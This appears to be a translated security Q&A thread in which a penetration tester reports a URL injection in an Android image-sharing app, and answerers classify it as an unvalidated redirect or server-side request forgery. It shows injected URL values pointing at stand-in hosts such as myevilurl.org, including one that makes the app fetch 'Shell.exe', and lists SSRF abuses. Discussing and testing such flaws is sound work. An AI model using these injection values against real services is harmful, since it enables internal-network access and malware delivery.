web-dev-qa-db-ja.com

URLインジェクションの脆弱性

私はペンテストで忙しく、それが悪用可能かどうか疑問に思った何かを見つけました。現在、それを利用することはできませんが、確認したかったのです。また、アプリケーション/サーバーが動作する理由についても知りたいです。

これは機能です:

  • このアプリケーションを使用すると、画像をクラウドにアップロードして、画像が保存されているURLを返すことができます。
  • 次に、アプリケーションはその戻りURLをサーバーに送信し、それが格納されているため、他の人がそのURLを介して画像を見つけられる
  • URLの一部に基づいて、ユーザーはすべての画像を含むJSONドキュメントで特定の異なるURLを取得します。

https://res.cloud.com/app/image/something/picture1.jpg

になる:

{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}

  • 次に、そのJSONドキュメントを使用して、正確なURL(2番目)へのGETリクエストを作成します

これが「脆弱性」です。

  • URLを次のように変更します。

    http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg

  • 次に、ユーザーはJSONドキュメントで次の形式で何かを取得します。

    {"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}

  • アプリケーションがGETを試行することを期待しますが、アプリケーションは何らかの方法でGET要求を実行します。

    https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^

これは進行中のテストであるため、私は本当に詳細(機密性などすべて)に進むことはできません。これで十分な情報が得られることを願っています。

EDIT:上記で言及できなかったのは、着信JSONを改ざんし、HTTPSを含むURLをJSON文字列に入れると、アプリケーションはその正確なURLを取得します。 JSONを次のように変更します。

{"URL" : "https://myevilurl.org/Shell.exe"}

アプリケーションは実際にサーバーからShell.exeを取得しようとします。 sの代わりに%73を使用すると、これは機能しません。

Edit2:また、これがAndroidアプリです。

2
Wealot

私をさらに助けてくれた非常に良い答えをありがとうございました!私が実際に学んだことは、URLがURLの特定のポイント(/ point /)で削除されたことです。それがなければ、サーバーは/ AppName/***へのリダイレクトなどの「おかしな」ことを始めました。しかし、私がこのような画像を注入すると:

https://www.evilurl.org/?point/something

私はevilurlへの実際のGETリクエストを取得します。つまり、URLインジェクションの脆弱性です。

0
Wealot

あなたが目撃しているのはおそらく一般的な脆弱性の緩和OWASP 2013 A10、Unvalidated Redirects and Forwards でしょう。

アプリケーションがJSONで見つかったURLにそのままリダイレクトした場合、問題が発生します。基本的に、そのJSONを改ざんする人なら誰でも、ブラウザを好きな場所に送信できます。これは未検証のリダイレクトと呼ばれます。

しかし、アプリケーションはそれを行いません。代わりに、RootServerOfApplication.comドメイン内のハンドラーにリダイレクトし、JSONドキュメントからのURLを引数として渡します。

おそらく、_RootServerOfApplication.com/NameOfAplication_はURLを調べて、それが有効であることを確認します(たとえば、ドメインがホワイトリストに含まれていることを確認します。これには、_cloud.com_が含まれています)。このメカニズムにより、エンドユーザーを_myevilurl.org_に転送できなくなります。

ぜひチェックしてみてください。 _https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^_をブラウザーに直接貼り付けて、どこにあるかを確認してください。

3
John Wu

この問題は Server-Side Request Forgery の脆弱性です。これを使用して、脆弱なサーバーとしてHTTP GETリクエストを送信できます。これは、HTTPリクエストを内部ネットワークまたは IP制限付きクラウドデプロイメント にルーティングするために使用できます。

さらに、これはHTTP GETプロキシなので、IPアドレスを隠しながらHTTP GETベースのエクスプロイトを配信するために使用できます。有効なSWFのロードは(コンテンツタイプが正しくない場合でも) ブラウザセッションのハイジャックに使用 の場合があります。

1
rook